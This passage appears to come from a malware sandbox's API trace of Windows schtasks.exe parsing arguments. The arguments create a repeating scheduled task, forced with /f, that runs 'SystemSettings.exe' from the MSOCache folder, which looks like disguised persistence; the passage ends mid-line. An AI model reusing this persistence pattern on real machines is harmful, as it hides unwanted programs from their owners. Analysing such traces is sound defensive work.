[0132.985] lstrlenW (lpString="showsid") returned 7 [0132.985] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.985] lstrlenW (lpString="mo") returned 2 [0132.985] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.986] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|showsid|") returned 9 [0132.986] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.986] lstrlenW (lpString="|showsid|") returned 9 [0132.986] lstrlenW (lpString="|mo|") returned 4 [0132.986] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] lstrlenW (lpString="/mo") returned 3 [0132.986] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] lstrlenW (lpString="/mo") returned 3 [0132.986] GetProcessHeap () returned 0x1685a9b0000 [0132.986] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x8) returned 0x1685a9b4730 [0132.986] GetProcessHeap () returned 0x1685a9b0000 [0132.986] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bba70 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] lstrlenW (lpString="14") returned 2 [0132.986] lstrlenW (lpString="-/") returned 2 [0132.986] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.986] lstrlenW (lpString="14") returned 2 [0132.986] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0132.987] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.987] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.987] lstrlenW (lpString="14") returned 2 [0132.987] GetProcessHeap () returned 0x1685a9b0000 [0132.987] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x6) returned 0x1685a9b4750 [0132.987] GetProcessHeap () returned 0x1685a9b0000 [0132.987] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bbad0 [0132.987] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.987] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.987] lstrlenW (lpString="/tr") returned 3 [0132.987] lstrlenW (lpString="-/") returned 2 [0132.987] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.987] lstrlenW (lpString="?") returned 1 [0132.987] lstrlenW (lpString="?") returned 1 [0132.987] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.987] lstrlenW (lpString="tr") returned 2 [0132.987] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.987] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|?|") returned 3 [0132.987] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.987] lstrlenW (lpString="|?|") returned 3 [0132.987] lstrlenW (lpString="|tr|") returned 4 [0132.987] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.987] lstrlenW (lpString="create") returned 6 [0132.987] lstrlenW (lpString="create") returned 6 [0132.987] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.987] lstrlenW (lpString="tr") returned 2 [0132.988] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.988] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.988] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.988] lstrlenW (lpString="|create|") returned 8 [0132.988] lstrlenW (lpString="|tr|") returned 4 [0132.988] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0132.988] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.988] lstrlenW (lpString="delete") returned 6 [0132.988] lstrlenW (lpString="delete") returned 6 [0132.988] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.988] lstrlenW (lpString="tr") returned 2 [0132.988] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.988] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|delete|") returned 8 [0132.988] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.988] lstrlenW (lpString="|delete|") returned 8 [0132.988] lstrlenW (lpString="|tr|") returned 4 [0132.988] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0132.988] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.988] lstrlenW (lpString="query") returned 5 [0132.988] lstrlenW (lpString="query") returned 5 [0132.989] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.989] lstrlenW (lpString="tr") returned 2 [0132.989] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.989] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|query|") returned 7 [0132.989] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.989] lstrlenW (lpString="|query|") returned 7 [0132.989] lstrlenW (lpString="|tr|") returned 4 [0132.989] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0132.989] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.989] lstrlenW (lpString="change") returned 6 [0132.989] lstrlenW (lpString="change") returned 6 [0132.989] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.989] lstrlenW (lpString="tr") returned 2 [0132.989] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.989] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|change|") returned 8 [0132.989] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.989] lstrlenW (lpString="|change|") returned 8 [0132.990] lstrlenW (lpString="|tr|") returned 4 [0132.990] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0132.990] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.990] lstrlenW (lpString="run") returned 3 [0132.990] lstrlenW (lpString="run") returned 3 [0132.990] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.990] lstrlenW (lpString="tr") returned 2 [0132.990] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.990] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|run|") returned 5 [0132.990] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.990] lstrlenW (lpString="|run|") returned 5 [0132.990] lstrlenW (lpString="|tr|") returned 4 [0132.990] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0132.990] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.990] lstrlenW (lpString="end") returned 3 [0132.990] lstrlenW (lpString="end") returned 3 [0132.990] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.990] lstrlenW (lpString="tr") returned 2 [0132.990] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.991] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|end|") returned 5 [0132.991] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.991] lstrlenW (lpString="|end|") returned 5 [0132.991] lstrlenW (lpString="|tr|") returned 4 [0132.991] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0132.991] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.991] lstrlenW (lpString="showsid") returned 7 [0132.991] lstrlenW (lpString="showsid") returned 7 [0132.991] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.991] lstrlenW (lpString="tr") returned 2 [0132.991] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.991] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|showsid|") returned 9 [0132.991] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tr|") returned 4 [0132.991] lstrlenW (lpString="|showsid|") returned 9 [0132.991] lstrlenW (lpString="|tr|") returned 4 [0132.991] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0132.991] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.991] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.991] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.991] lstrlenW (lpString="/tr") returned 3 [0132.991] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0132.991] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.991] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.991] lstrlenW (lpString="/tr") returned 3 [0132.992] GetProcessHeap () returned 0x1685a9b0000 [0132.992] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x8) returned 0x1685a9b4770 [0132.992] GetProcessHeap () returned 0x1685a9b0000 [0132.992] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb6b0 [0132.992] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.992] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.992] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0132.992] lstrlenW (lpString="-/") returned 2 [0132.992] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.992] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.992] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.992] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.992] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0132.992] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\SystemSettings.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\SystemSettings.exe'" [0132.992] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0132.992] GetProcessHeap () returned 0x1685a9b0000 [0132.992] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4790 [0132.992] _memicmp (_Buf1=0x1685a9b4790, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.992] GetProcessHeap () returned 0x1685a9b0000 [0132.992] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9b47b0 [0132.992] GetProcessHeap () returned 0x1685a9b0000 [0132.992] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9baa40 [0132.992] _memicmp (_Buf1=0x1685a9baa40, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.992] GetProcessHeap () returned 0x1685a9b0000 [0132.992] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x58) returned 0x1685a9b3b40 [0132.992] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] lstrlenW (lpString="'C") returned 2 [0132.993] lstrlenW (lpString="-/") returned 2 [0132.993] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0132.993] GetProcessHeap () returned 0x1685a9b0000 [0132.993] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x56) returned 0x1685a9b3ba0 [0132.993] GetProcessHeap () returned 0x1685a9b0000 [0132.993] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb4a0 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.993] lstrlenW (lpString="/f") returned 2 [0132.993] lstrlenW (lpString="-/") returned 2 [0132.993] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.993] lstrlenW (lpString="?") returned 1 [0132.993] lstrlenW (lpString="?") returned 1 [0132.993] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.993] lstrlenW (lpString="f") returned 1 [0132.993] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.993] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|?|") returned 3 [0132.994] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0132.994] lstrlenW (lpString="|?|") returned 3 [0132.994] lstrlenW (lpString="|f|") returned 3 [0132.995] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0132.995] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.995] lstrlenW (lpString="create") returned 6 [0132.995] lstrlenW (lpString="create") returned 6 [0132.995] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.995] lstrlenW (lpString="f") returned 1 [0132.995] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.998] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.998] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0132.998] lstrlenW (lpString="|create|") returned 8 [0132.998] lstrlenW (lpString="|f|") returned 3 [0132.998] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0132.998] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.998] lstrlenW (lpString="delete") returned 6 [0132.998] lstrlenW (lpString="delete") returned 6 [0132.998] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.998] lstrlenW (lpString="f") returned 1 [0132.998] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.998] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|delete|") returned 8 [0132.998] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0132.998] lstrlenW (lpString="|delete|") returned 8 [0132.998] lstrlenW (lpString="|f|") returned 3 [0132.998] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0132.998] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.998] lstrlenW (lpString="query") returned 5 [0132.998] lstrlenW (lpString="query") returned 5 [0132.998] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.998] lstrlenW (lpString="f") returned 1 [0132.998] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.998] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|query|") returned 7 [0132.998] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0132.999] lstrlenW (lpString="|query|") returned 7 [0132.999] lstrlenW (lpString="|f|") returned 3 [0132.999] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0132.999] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.999] lstrlenW (lpString="change") returned 6 [0132.999] lstrlenW (lpString="change") returned 6 [0132.999] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.999] lstrlenW (lpString="f") returned 1 [0132.999] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.999] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|change|") returned 8 [0132.999] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0132.999] lstrlenW (lpString="|change|") returned 8 [0132.999] lstrlenW (lpString="|f|") returned 3 [0132.999] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0132.999] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.999] lstrlenW (lpString="run") returned 3 [0132.999] lstrlenW (lpString="run") returned 3 [0132.999] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.999] lstrlenW (lpString="f") returned 1 [0132.999] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.999] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|run|") returned 5 [0132.999] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0132.999] lstrlenW (lpString="|run|") returned 5 [0132.999] lstrlenW (lpString="|f|") returned 3 [0133.000] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0133.000] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.000] lstrlenW (lpString="end") returned 3 [0133.000] lstrlenW (lpString="end") returned 3 [0133.000] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.000] lstrlenW (lpString="f") returned 1 [0133.000] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.000] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|end|") returned 5 [0133.000] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0133.000] lstrlenW (lpString="|end|") returned 5 [0133.000] lstrlenW (lpString="|f|") returned 3 [0133.000] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0133.000] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.000] lstrlenW (lpString="showsid") returned 7 [0133.000] lstrlenW (lpString="showsid") returned 7 [0133.000] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.000] lstrlenW (lpString="f") returned 1 [0133.000] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.000] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|showsid|") returned 9 [0133.000] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|f|") returned 3 [0133.000] lstrlenW (lpString="|showsid|") returned 9 [0133.000] lstrlenW (lpString="|f|") returned 3 [0133.000] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0133.000] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.001] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.001] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.001] lstrlenW (lpString="/f") returned 2 [0133.001] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0133.001] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.001] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.001] lstrlenW (lpString="/f") returned 2 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x6) returned 0x1685a9b3c00 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb380 [0133.001] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4370) returned 1 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4370) returned 0x8 [0133.001] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4370) returned 1 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bba40) returned 1 [0133.001] GetProcessHeap () returned 0x1685a9b0000 [0133.001] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bba40) returned 0x20 [0133.002] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bba40) returned 1 [0133.002] GetProcessHeap () returned 0x1685a9b0000 [0133.002] GetProcessHeap () returned 0x1685a9b0000 [0133.002] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb650) returned 1 [0133.002] GetProcessHeap () returned 0x1685a9b0000 [0133.002] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb650) returned 0x20 [0133.003] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb650) returned 1 [0133.003] GetProcessHeap () returned 0x1685a9b0000 [0133.003] GetProcessHeap () returned 0x1685a9b0000 [0133.003] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb590) returned 1 [0133.003] GetProcessHeap () returned 0x1685a9b0000 [0133.003] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb590) returned 0x20 [0133.003] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb590) returned 1 [0133.003] GetProcessHeap () returned 0x1685a9b0000 [0133.003] GetProcessHeap () returned 0x1685a9b0000 [0133.003] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b46f0) returned 1 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b46f0) returned 0x8 [0133.004] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b46f0) returned 1 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb980) returned 1 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb980) returned 0x20 [0133.004] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb980) returned 1 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4710) returned 1 [0133.004] GetProcessHeap () returned 0x1685a9b0000 [0133.004] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4710) returned 0xe [0133.005] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4710) returned 1 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbb00) returned 1 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bbb00) returned 0x20 [0133.005] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbb00) returned 1 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4730) returned 1 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4730) returned 0x8 [0133.005] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4730) returned 1 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] GetProcessHeap () returned 0x1685a9b0000 [0133.005] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bba70) returned 1 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bba70) returned 0x20 [0133.006] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bba70) returned 1 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4750) returned 1 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4750) returned 0x6 [0133.006] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4750) returned 1 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbad0) returned 1 [0133.006] GetProcessHeap () returned 0x1685a9b0000 [0133.006] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, 